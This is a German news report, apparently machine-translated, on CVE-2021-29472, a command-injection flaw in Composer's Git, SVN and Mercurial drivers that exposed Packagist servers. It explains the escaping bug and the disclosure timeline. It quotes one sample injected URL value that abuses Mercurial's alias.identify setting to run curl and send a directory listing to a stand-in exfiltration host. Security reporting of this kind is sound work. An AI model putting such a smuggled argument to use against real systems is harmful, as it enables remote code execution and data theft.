Sicherheitslücke im Composer-Paketmanager, die die Kompromittierung des Packagist-PHP-Repositorys ermöglicht

Im Composer-Abhängigkeitsmanager wurde eine kritische Schwachstelle (CVE-2021-29472) identifiziert, die die Ausführung beliebiger Befehle auf dem System ermöglicht, wenn ein Paket mit einem speziell formatierten URL-Wert verarbeitet wird, der die Adresse zum Herunterladen des Quellcodes angibt. Das Problem tritt in den GitDriver-, SvnDriver- und HgDriver-Komponenten auf, die bei der Verwendung von Git-, Subversion- und Mercurial-Quellcodeverwaltungssystemen verwendet werden. Die Sicherheitslücke wurde in den Composer-Versionen 1.10.22 und 2.0.13 behoben.

Es wird ausdrücklich darauf hingewiesen, dass das Problem hauptsächlich das Standardpaket-Repository von Composer, Packagist, betraf, das 306 Pakete für PHP-Entwickler enthält und mehr als 1.4 Milliarden Downloads pro Monat bereitstellt. Das Experiment zeigte, dass Angreifer bei Kenntnis des Problems die Kontrolle über die Packagist-Infrastruktur erlangen und die Anmeldeinformationen von Betreuern abfangen oder Paket-Downloads auf einen Server eines Drittanbieters umleiten könnten, um die Lieferung von Paketvarianten mit böswilligen Änderungen zu organisieren, um eine Hintertür zu ersetzen während des Abhängigkeitsinstallationsprozesses.

Die Gefahr für Endnutzer beschränkt sich darauf, dass der Inhalt von Composer.json in der Regel vom Nutzer bestimmt wird und beim Zugriff auf Repositories von Drittanbietern, die in der Regel vertrauenswürdig sind, Quelllinks übermittelt werden. Der Hauptschlag traf das Packagist.org-Repository und den Private Packagist-Dienst, der Composer mit der Übertragung der von Benutzern erhaltenen Daten aufrief. Angreifer könnten ihren Code auf Packagist-Servern ausführen, indem sie ein speziell entwickeltes Paket platzieren.

Das Packagist-Team hat die Schwachstelle innerhalb von 12 Stunden nach der Meldung der Schwachstelle behoben. Die Forscher benachrichtigten die Packagist-Entwickler privat am 22. April und das Problem wurde noch am selben Tag behoben. Am 27. April wurde ein öffentliches Update für Composer veröffentlicht, das die Sicherheitslücke behebt. Details wurden am 28. April bekannt gegeben. Eine Prüfung der Protokolle auf Packagist-Servern ergab keine verdächtigen Aktivitäten im Zusammenhang mit der Sicherheitslücke.

Das Problem wird durch einen Fehler im URL-Validierungscode in der Root-Datei „composer.json“ und in den Quell-Download-Links verursacht. Der Fehler ist seit November 2011 im Code vorhanden. Packagist verwendet spezielle Ebenen, um das Laden von Code zu organisieren, ohne an ein bestimmtes Quellcodeverwaltungssystem gebunden zu sein. Diese werden durch Aufrufen von „fromShellCommandline“ und Übergeben von Befehlszeilenargumenten ausgeführt. Für Git wird beispielsweise der Befehl „git ls-remote -heads $URL“ aufgerufen, wobei die URL mit der Methode „ProcessExecutor::escape($url)“ verarbeitet wird und potenziell gefährliche Konstrukte wie „$(“ maskiert werden. ..)“ oder „` ...`“.

Der Kern des Problems besteht darin, dass die ProcessExecutor::escape-Methode die „-“-Sequenz nicht maskiert hat, was die Angabe zusätzlicher Aufrufparameter in der URL ermöglichte. Ein solches Escape fehlte in den Treibern GitDriver.php, SvnDriver.php und HgDriver.php. Der GitDriver.php-Angriff wurde dadurch erschwert, dass der Befehl „git ls-remote“ die Angabe zusätzlicher Argumente nach dem Pfad nicht unterstützte. Ein Angriff auf HgDriver.php erwies sich als möglich, indem der Parameter „--config“ an das Dienstprogramm „hq“ übergeben wurde, mit dem Sie die Ausführung eines beliebigen Befehls durch Manipulation der Einstellung „alias.identify“ organisieren können. Um beispielsweise Code durch Ausführen des Curl-Dienstprogramms herunterzuladen und auszuführen, könnten Sie Folgendes angeben: —config=alias.identify=!curl http://exfiltration-host.tld —data „$(ls -alh)“

Durch die Veröffentlichung eines Testpakets mit einer ähnlichen URL bei Packagist stellten die Forscher sicher, dass ihr Server nach der Veröffentlichung eine HTTP-Anfrage von einem der Packagist-Server in AWS erhielt, die eine Liste der Dateien im aktuellen Verzeichnis enthielt.

Source: opennet.ru

Kommentar hinzufügen